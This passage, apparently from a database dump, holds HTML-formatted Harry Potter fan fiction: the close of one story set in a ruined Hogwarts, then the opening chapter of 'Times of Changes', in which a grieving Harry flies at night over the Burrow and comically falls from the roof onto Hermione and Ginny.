relentlessly through the broken school. The Hogwarts flag still burned in the distance, resting where the high table had once sat upon the dais, and the house banners were either ripped or gone. <br>\n<br>\n Dead bodies lay littered all around Hermione like the fragile dead leaves of autumn. She could see the faces of her peers, classmates and friends, all dead and empty, statue like and so different from the broad smiling faces they had been only an hour before.<br>\n<br>\nAbove it all hung a glowing skull, a sick green snake winding its way through the white open mouth of the chilling mark.<br>\n<br>\n Confronted by the horrid decay and doom around her Hermione did the only thing she could think of.<br>\n<br>\n She ran.<br>\n<br>\n </p>\n\n\n\n'),
	(257, 1, '<p class="MsoTitle"><b>  A/N</b>: This is\na repost of my first story, under another name, Condor5. I changed it just a\nlittle. Please tell me how you find this. Thanks.</p>\n<p class="MsoTitle"><b>  Disclaimer</b>:\nThis story is based on characters and situations created and owned by JK Rowling,\nvarious publishers including but not limited to Bloomsbury Books, Scholastic\nBooks and Raincoast Books, and Warner Bros., Inc. No money is being made and no\ncopyright or trademark infringement is intended.</p>\n<p class="MsoTitle"> </p>\n<p class="MsoTitle"><span class="u">Times of Changes</span></p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> \nOur story began in a small bedroom just under the attic of a small house\noutside the small village of Ottery St Catchpole. In this small bedroom, two\nsleeping form could be seen, one on the bed, the other on a mattress just\nbeside the bed. The form on the bed was motionless, deep within the grasp of\nthe sandman, probably dreaming sweet dreams. The other form, however, had no\nsuch luck. He was tossing and turning around, struggling soundlessly against\nsomething in his dreams. Or perhaps nightmares would be a better word. Suddenly,\nhe shot up straight, just barely able to keep himself from screaming out loud\nand waking up his friend.</p>\n<p class="MsoNormal"> \nHarry Potter got up from his mattress. His breath came in short grasps, and he\nwas sweating heavily. Every night, since he returned from Hogwarts, Harry had\nthis nightmare. Every night, it was the same. The events of last term had\nhunted him for almost the whole of the summer holidays. He had hoped that being\nin the burrow, with the Weasleys and his friends and around some friendly\ncompany for once, would give him some relief. </p>\n<p class="MsoNormal"> \nIt did not. </p>\n<p class="MsoNormal"> \nIf anything, the nightmares grew worse, including his best friends into the\nmix, so that instead of Cedric, the one that ended up dead on the ground was\nRon, or Hermione, or Sirius, or even Ginny.</p>\n<p class="MsoNormal"> \nThe news from the wizarding world did not help matters either. Minister for\nMagic Fudge Cornelius still refused to believe that Voldemort had indeed\nreturned, covering up the activities of the Death Eaters in the Daily Prophet\nand denying that the Dark Lord is back. Despite his best efforts, however, he was\nunable to completely hide everything, and the wizarding world was starting to\ncatch on the fact that something was not right with the world.</p>\n<p class="MsoNormal"> \nHarry climbed down the stairs to the kitchen, taking care to walk softly on the\ncreaking steps so as not to wake the others in this household. He could have\nsaved himself the efforts, however, as the twins were snoring so loudly that it\ncompletely covered up any noise he might have made. </p>\n<p class="MsoNormal"> \nOnce in the kitchen, Harry poured himself a glass of water and walked to the\nwindows at the back of the kitchen, looking out at the backyard. He stared\nunseeingly out into the backyard for a moment, noticing that a light drizzle is\nfalling, making everything misty and surreal, but not registering anything. </p>\n<p class="MsoNormal"> \nQuite suddenly, a feeling of great loneliness and grief fell on him, almost\ncrushing him with the sudden weight. Harry kneed down, tears that was hidden\nduring the day started flowing down his face, as if a dam had broke loose\ninside Harry’s head. Harry hurried to the living room, where he had left his\nFirebolt from the Quidditch game in the afternoon. He mounted the broom and\nkicked off in one motion, going through the open living room windows into the\ndrizzling night sky like a stone out of a slingshot.</p>\n<p class="MsoNormal"> \nAt the Dursley’s, Harry could not even cry at night, for fear of waking up his\nAunt and Uncle, who would then start yelling at Harry about waking them up at\nungodly hours. Never mind that Harry’s life is in danger. Never mind that the\ngreatest and worst Dark Lord of all times had returned from the dead and out\nfor his blood. No, all the Dursley was worried about was their beauty sleep.</p>\n<p class="MsoNormal"> \nAt the burrow, it is almost the same. During the day, he was forced to keep his\nface cheerful, so as not to worry the Weasleys, who had enough to worry about\nas it was already, what with the task that Dumbledore had given them to do,\nwithout him adding to their weight.</p>\n<p class="MsoNormal"> \nBut now, with only empty air around him, Harry could finally cry out his grief\nat the needless death of Cedric, and his fears of Voldemort, and of the\nloneliness of his heart without fear of anyone hearing him. The sky, as if\nsensing Harry’s tears, started to rain even heavier, thunder clashing around,\nlighting flashed in the overcast clouds above, as Harry looped round and round,\nflying in circles in the air above the Burrow, his form almost a bur at the\nspeed he was going.</p>\n<p class="MsoNormal"> \nAt last, Harry slowed down, the heaviness in his heart still there, but somehow\nfeeling a little better, now that he had cried himself out. He drifted slowly\ndown to the Burrow, but decided that he isn’t ready to go inside yet. Instead,\nhe stopped at the roof and sat down on edge of the roof, heedless of the\nwetness left by the rain. He pulled his legs up close to his chest and rested\nhis arms on the Firebolt hovering just in front of him. He sat there watching\nas the rain lessens and the sky grew bright in the east. Morning had arrived.</p>\n<p class="MsoNormal">~~~~~~~~~~</p>\n<p class="MsoNormal"> \nGinny Weasley woke up with a start, and wondered what had work her up. She got\nher answer a minute later when the loud boom of thunder came to her ears and\nthe room lit up with lighting. She lay in bed for a moment, listening to the\nsound of raindrops hitting the roof, hoping to fall asleep again when she heard\nsomething that is not of the storm. It sounded like someone was crying from the\nbottom of his heart. A heart heavy with grief and pain, like the sound of a\nlost child. </p>\n<p class="MsoNormal"> \nStill half asleep, Ginny got up and stepped over Hermione to her window.\nOpening the windows, she leaned out to see if she could catch the person crying\nso hard. The wind rushed into the room, carrying raindrops, which fell all over\nthe room. Hermione woke up when the raindrops splashed on her face. Thinking\nthat the wind blew the windows open, Hermione got up to close it. Only then did\nshe caught sight of Ginny standing at the opening window, leaning out, her ears\ncocked as if to hear something. </p>\n<p class="MsoNormal"> \n“What are you doing, Ginny?” Hermione asked, rubbing her eyes and coming next\nto Ginny at the window.</p>\n<p class="MsoNormal"> \nGinny jumped a little at the voice of Hermione. At that moment, the crying\nsound came again, surprising Hermione.</p>\n<p class="MsoNormal"> \n“What is that sound?” Hermione asked, shivering a little, both with cold and\nthe sudden chill that came with the sound.</p>\n<p class="MsoNormal"> \n“Look at this, Hermione.” Ginny replied, reaching out of the window and\npointing out into the sky.</p>\n<p class="MsoNormal"> \nPuzzled, Hermione lean out to see what had caught the attention of Ginny. She\nsaw a shape flying around in circles above the burrow. The crying sound seemed\nto come from the shape.</p>\n<p class="MsoNormal"> \n“What is that?” Hermione asked, turning to Ginny.</p>\n<p class="MsoNormal"> \n“I have no idea.” Ginny answered, shrugging her shoulders.</p>\n<p class="MsoNormal"> \nThe shape started to slow down, spiraling down towards the ground. As it got\nnearer, Hermione and Ginny could see the face of Harry Potter, grief and\nweariness marked on it. It was hard to tell if the water on his face were rain\nor tears. They watched as Harry drifted down, heard the sound of Harry landing\non the roof. Both wanting to go to him, but somehow knowing that Harry wanted\nto be left alone at this time. They made up their minds to speak to Harry as\nsoon as possible.</p>\n<p class="MsoNormal"> \n“Poor Harry. He had suffered so much.” Ginny said, her heart going out to her\ncrush of four years. She wished that she could comfort Harry and ease the\nbuddle on his heart a little.</p>\n<p class="MsoNormal"> \n“Yeah. I wish he would tell us what is on his mind and heart, instead of\nkeeping it all to himself.” Hermione replied, her heart twisting a little with\nguilt. Her best friend is out there suffering, and she did not do anything\nabout it. Well, that was about to change.</p>\n<p class="MsoNormal"> \nSo Ginny and Hermione stood, side by side, watching the sunrise along with\nHarry, though he did not know it. Morning had arrived.</p>\n<p class="MsoNormal">~~~~~~~~~~</p>\n<p class="MsoNormal">    Hermione turned from the window and\nsat down at the edge of the bed, deep in thought. Never, in the four years that\nshe had known Harry, had she seen such an expression on his face. Not even at\nthe end of the Triwizard Tournament. He had seemed normal enough during the\nday, even playing Quidditch with Ron and the other Weasleys. Now, on\nretrospect, she should have noticed the tiredness on his face, the black bags\naround his eyes. Signs that said louder than words that Harry did not get\nenough sleep.</p>\n<p class="MsoNormal"> \nGinny moved from the window to sit beside Hermione. She looked at Hermione, and\nrecognized the expression on her face. How could she not, when Ginny saw the\nvery same expression on her own face countless of times?</p>\n<p class="MsoNormal"> \n“You too, huh?” Ginny asked, wanting to know. </p>\n<p class="MsoNormal"> \n“Yeah, I guess so” was the reply. There was no need to ask what. They both know\nwhat they were talking about.</p>\n<p class="MsoNormal"> \n“How long?” Ginny asked quietly. </p>\n<p class="MsoNormal"> \n“I think… ever since my first year, after the Troll event. You knew about it?”\nHermione asked, her head dropping as she recalled the fear she felt when she\nfaced the troll all alone, and the relief that flooded her when Ron and Harry\nrushed into the toilet.</p>\n<p class="MsoNormal"> \n“Yeah… Ron was bragging about knocking out a mountain troll when he returned\nfor the summer holidays that year, before Harry came for the summer. The twins\nwere so surprised.” Ginny answered. She still blushes at the memory of that\nsummer. She was soclumsy at the sight of Harry!</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“What about you?” Hermione asked, turning her face to Ginny.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“My first year too. After the Chambers of Secrets.” Ginny’s voice was tight as\nshe too recalled the events of her first year at Hogwarts, when the Chambers of\nSecrets was opened, and Voldemort had kidnapped her through the diary of his\n16-year-old self. Harry had saved her then, destroying the diary almost at the\ncost of his own live. She never really trusted another book since then, and her\ntextbook for Care of Magical Creatures; ‘<i>The Monster book of Monsters</i>’\ndidn’t help matters either.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Oh, yeah… I should have known… sorry.” Hermione apologized.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“It’s ok…” Ginny murmured.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nThey were silent for a moment, each caught up in their own thought. Finally\nGinny broke the silence.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“So… What do we do now?”</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nHermione thought for a moment.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Why don’t we go get a cup of coco or something?” She replied, trying to change\nthe subject to something more cheerful.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Ok, Come on then.” Ginny grabbed hold of Hermione’s hand and they made their\nway downstairs. They entered the kitchen and Ginny started to heat up the milk\nwhile Hermione got the cups.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Hey, Ginny. You think Harry would like to have a cup of coco too?” Hermione\nasked, two cups in one hand while her other hand hovered over another cup.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“I think so. I mean it’s raining out there just now.” Ginny answered, her eyes\nintent on the stove.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Yeah, you’re right.” Hermione said, picking up the third cup. She brought the\ncups over to the counter and started to dump coco power into the cups. </p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Hey Ginny.”</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Yeah?”</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Are we still friends?” Hermione asked, her voice quiet.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Why did you ask that?” Ginny replied, a little confused.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Well, I have read too much about friends who end up as enemies because they\n…like the same person. Will we be the same as them?” Hermione’s voice seems to\nbe cracking. </p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nGinny thought about it for a while. </p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Nah. I don’t think so. I mean, we were friends since my first year, and I simply\ncan’t imagine school without you as my friend. Don’t worry about it, Hermione.”\n</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Thanks” Hermione couldn’t help but feel a little relief that they wouldn’t be\nenemies.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Besides, I would need your help to get Harry to like me back.” Ginny tried to\nlighten the mood by joking.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Why do you think I would do that?” Hermione’s eyebrows lifted up. </p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Yeah, why not? It’s not like you didn’t spend enough time with Harry!” Ginny\nreplied, grinning.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“That’s true… But I still wouldn’t help you.” Hermione said, barely able to\nkeep from laughing.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Hey, don’t be selfish.” Ginny said, her grin growing broader.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nThey couldn’t help it then, they busted out laughing. </p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~~~~~~~~~~</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nMrs. Weasley walked towards the kitchen, intending to start breakfast before\nany of the household woke up. It was always peaceful in the morning, at least\nbefore Fred or George woke up and started playing pranks and creating a mess.\nShe loved them dearly, but she wished that they would grow up a little, take a\nbit of responsibilities. </p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nIt wasn’t fair to let Arthur do all the work of earning money for the family.\nBill, Charlie and Percy helped out, certainly, but if either Fred or George\nwould take on a summer jobs, then it would be even better. Then both Ron and\nGinny would be able to get new stuff instead of hand-me-downs and second-hand\nrobes and books.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nBut no, they <i>both</i> have to spend their time locked in their rooms doing\nGod-knows-what. She really hoped that they were not serious with their\nharebrain idea of setting up a joke shop, but it seems that they were really\ndetermine to do it.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nMrs. Weasley sighed and opened the kitchen door. She got a surprise, however,\nwhen she saw that she wasn’t the first one up. Both Ginny and Hermione were\nalready sitting at the table across each other. The two girls were not doing\nanything, however, just staring at each other, three cups of coco steaming\nbetween them.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Morning, girls. Why are you up so early?” Mrs. Weasley asked.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Morning Mum. Please don’t interrupt us right now. We are currently in a\nstaring match.” Replied Ginny, not breaking eye contact with Hermione. </p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Oh? Whatever for?” Mrs. Weasley asked, walking up to the counter and began\npreparing breakfast.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Nothing. Just trying to decide who’ll bring Harry this cup of coco, that’s all.”\nThis time it is Hermione who answered; apparently unaware that it was Mrs.\nWeasley that asked the question.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nGinny groaned, covering her face with her hands. “Hermione, you are <i>not</i>\nsupposed to say that.” </p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nHermione blinked, her eye contact with Ginny broken. “Wha… Oh! Mrs. Weasley. I\ndidn’t notice you there.”</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Apparently” Mrs. Weasley floated the bread and butter to the table. She sat\ndown at the table and started buttering the bread. </p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> “Anyway, what is that I heard about Harry?”\nMrs. Weasley asked. This could be interesting!</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nHermione’s face started to turn red. She was a little late, however, as Ginny’s\nface was already as red as her hair.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“We were just trying to decide who gets to give this cup of coco to Harry. He\nmust be cold, sitting on the roof all night.” As soon as she said that, Ginny\ncovered her mouth. She should not have said that Harry was out at night. Now\nMum will start to worry.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“What? Harry was outside last night? But it was raining! You two better go get\nhim. He could have caught his death of cold!” Mrs. Weasley cried. Her face was\nsuddenly filled with concern and worry, all thoughts of teasing Hermione and\nGinny and Harry disappeared.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nGinny sighed and stood up. “Come on, Hermione. Mum’s right. It’s almost time\nfor breakfast anyways. Let’s go get Harry in.”</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~~~~~~~~~~</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> Harry\nrested his head on his arms, supported by the Firebolt hovering in front of\nhim. He was tired, that bone-deep wariness that came with great emotional\noutburst. That feeling that the world could end and he wouldn’t have cared. His\nmind is a blank. He is too tired to think anyway.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Hey, Harry!” A voice shouted from the ground. Harry lifted up his head and\nlooked down over his broomstick. Ginny was standing at the edge of his vision, waving\nher hands about. Hermione was beside her, looking up as well. </p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n‘That’s funny, Hermione’s face is a little red. Wonder what happened?’ Harry\nthought.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Mum asked us to get you down for breakfast. C’mon down now. You wouldn’t want\nto miss breakfast, do you?” Ginny yelled again.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nHarry sighed and stood up. However, due to the wet roof, and the fact that his\nlegs have fallen asleep (he had been sitting on the roof for almost 2 hours),\nhe slipped. He could still have saved himself, if not for the fact that his\nbroomstick was in the way. He tripped over the broomstick and went yelling all\nthe way down to the ground. Right into the two girls below.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~~~~~~~~~~\n</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nRon Weasley was having a perfectly lovely dream. </p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~~~~~~~~~~</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i> \n“Hermione, would you go to the Yule Dance with me?” Ron asked nervously. </i></p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i> \nHermione laughed and said, “Sure, why not?”</i></p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i> \n“Really?” Ron asked, unable to believe his ears. “What about Victor Krum,\nthen?”</i></p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i> \n“Ah, who cares about him!” Hermione gave a dismissal wave of her hands.</i></p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i> \n“Oh, Hermione!” Ron breathed.</i></p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i> \n“Oh, Ron!” Hermione breathed back.</i></p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i> \n“AAAAAAAAAAAAAAAHHHHHHHHHHHHHH!!!!!!!!!!!!!!!!!!” Screamed Harry.</i></p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i> \nHuh? Harry?</i></p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i> \n</i>~~~~~~~~~~</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nRon woke up, blinking and yawning. Wondering what had woke him up, Ron sat up\nand looked around his room. Nothing. Everything was where it was suppose to be.\nHis walls filled with the moving wizard posters of his favorite Quidditch team,\nthe Chudley Cannon, the fishtank on the window-sill, the small cage containing\nPig, still asleep, the empty mattress where Harry slept… Wait a minute…Empty\nmattress?</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nRon’s blood ran cold as he suddenly recalled the scream in his dream. Harry’s\nscream. </p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">  ‘Oh no, someone managed to kidnap Harry!’\nRon panicked, until he heard laughter from outside his window. </p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nRon rushed towards the window and threw them open. Looking out, He sported\nHarry spread out on the ground right on top of Hermione and Ginny. Apparently,\nthe girls had tried to catch Harry, (who must have fallen from his broomstick,\nas his Firebolt is now flying towards Harry) but were unable to handle his\nweight. Ron grinned at the sight, then frowned when he noticed how close Harry\nis to Hermione. And Ginny, of course!</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n~~~~~~~~~~</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nHarry groaned. He had expected to break every bone in his body. After all, it\nwas a five-story fall from the rooftop. Luckily for him, Harry seems to have\nfallen onto some bush or something. Whatever it is, it had broken the fall for\nHarry, allowing him to escape with only some minor aches on his body. Those he\ncould handle, however. One does not play Quidditch without picking up some\nscraps now and then. It was his head that was hurting him now. Whatever that\nthing is, it did not stop him from knocking his head against the ground. Hard.\nAnd the impact had knocked off his glasses.  And he could hear someone\nlaughing at him from somewhere above him, which did nothing to improve his\ntemper. </p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nHarry tried to push himself up, one hand supporting his head to keep it from\nsplitting open, unable to see clearly without his glasses, the other hand\ngroping around for his glasses. Harry paused, his hands brushing against\nsomething. It did not feel like the ground, however. It’s soft, for one thing,\nand it seems to be covered in cloth, for other. Confused, Harry removed his\nhand from his head, and opened his eyes, which grew steadily bigger as he found\na pair of eyes staring right back at him.  </p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~~~~~~~~~~</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nHermione stared at Harry’s green eyes, seemingly brighter without his glasses\nto dim the light, then down his arm to where his hand is currently rested on\nher… chest. Harry doesn’t seems to be aware of where his hand is, however, as\nhe made no move to remove them. Surprisingly, Hermione found that she doesn’t\nreally mind that. Properties, however, must be maintained. Besides, Hermione\ncould see Fred and George at the window of their room, laughing their heads\noff, and Ron, who had a frown on his face.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Harry?” Hermione whispered, her face red.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Ye…yes? Hermione?” Harry whispered back, his eyes still confuse. </p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Could you please move your hand, Harry?” Hermione whispered, her voice softer\nthan before.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Huh? Wha…” Harry eyes moved to his arm, following it down to where his hand is\nresting…</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Aaaahhhh!!!” Harry snatched his hand away like it was burned and jumped backwards,\ntripping over Ginny’s legs. He knocked his head against his Firebolt that was\nhovering behind him and fell to the ground again, sat on his glasses and\ncracked them, before starting to crawl backwards until his back hit the wall of\nthe Burrow, leaving him nowhere to run to, his hands held high above his head\nall this time.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nHermione slowly and calmly got up and helped Ginny to her feet. She then\nstrolled towards Harry with Ginny beside her. The two girls stopped next to\nHarry, who was looking very fearful at his best friend. Hermione grabbed hold\nof one of Harry’s arms, and Ginny took the other. With a great heave, the girls\npulled Harry to his feet. Now Harry was staring at Hermione in the eye, and she\nwasn’t looking very happy.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">  ‘I’m dead!’ Harry thought, when Hermione\nsuddenly reached towards him. But Hermione did not hit him, as he had expected.\nInstead, she threw her arms around him and pulled him into a hug.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Huh?” By this time, Harry was <i>very</i> confused. </p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“This is for frightening us out of our wits,” Hermione said, still locked in\nthe hug. “And this…” She pulled back, eyes suddenly blazing, balled up her\nfist, and punched Harry in the stomach! “Is for taking advantage of me!”</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nHarry doubled over, hands holding the place where Hermione punched him, and\nsank to his knees in pain. Ginny supported him, looping his arm across her\nshoulder, and lifted him to his feet again.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Are you alright? I didn’t hurt you too badly, did I?” Hermione asked, her face\nsuddenly filled with concern. Already she was berating herself for hitting\nHarry.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nHarry shook his head, trying to get rid of the pain in his head, and leaning\nweakly in Ginny’s arms, answered Hermione.   “Oh, no. I’m alright.\nFalling from five storeys, banging my head on the ground, being punched by you…\nYeah, I’m fine.”</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“You deserve being punched though.” Ginny said, grinning.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“I’m so sorry, Harry” Hermione apologized. “I shouldn’t have done that.”</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“No, I’m the one who’s suppose to apologize. I should have moved my hand when I\nrealized where my hands were.” Harry said, a small smile on his face as he\nremembers the feeling of… Let’s just leave it here, shall we.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“We better get you inside. Mum will take care of your wounds.” Ginny said,\nmoving towards the kitchen door.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Right. C’mon, lets get you in.” Hermione said, picking up Harry’s shattered glasses.\nShe tapped it with her wand and murmured, “<i>Reparo</i>” before handing the\nrepaired glasses to Harry.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Thanks, Hermione.” Harry said, taking the glasses and fixing it on his nose.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Glad to see you smiling again.” Hermione said, thinking how much more handsome\nhe looked when he smiled.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“I had reasons to, now. Thanks to you.” Harry replied with a grin.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Oh, you…” Hermione smacked the back of Harry’s head, laughing.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nThe three of them reached the kitchen door. Hermione pulled open the door, and\nthey staggered into the kitchen. Harry sank into one of the chairs at the\ntable. </p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Oh my God. What happen to you, Harry?” Mrs. Weasley hurried up to Harry,\nobviously wanting to mother him.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Oh, nothing much, just fell of the roof. That’s all.” Harry said, downplaying\nit as much as he could.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“WHAT!!! FELL OFF THE ROOF?!?” Mrs. Weasley screamed. So much for downplaying…</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“It’s ok, really. I’m just winded from the impact.” Harry’s eyes turned to\nGinny and Hermione for help. However, the look they send back said plainly,\n“You’re on your own.” Harry groaned. Now nothing would save him from being\nmothered by Mrs. Weasley.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nLuckily for Harry, Fred, George and Ron chose this moment to burst into the\nkitchen.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Wow, Harry. What a dive.” Fred cried out excitedly the moment he entered the\nkitchen.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Yeah. We were watching from our window. It was awesome!” This was from George,\ncoming in after Fred.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“I know Ginny and Hermione are pretty, but you don’t really need to jump them,\ndo you?” Ron said, entering the kitchen. He was <i>not</i> smiling.</p>\n<p 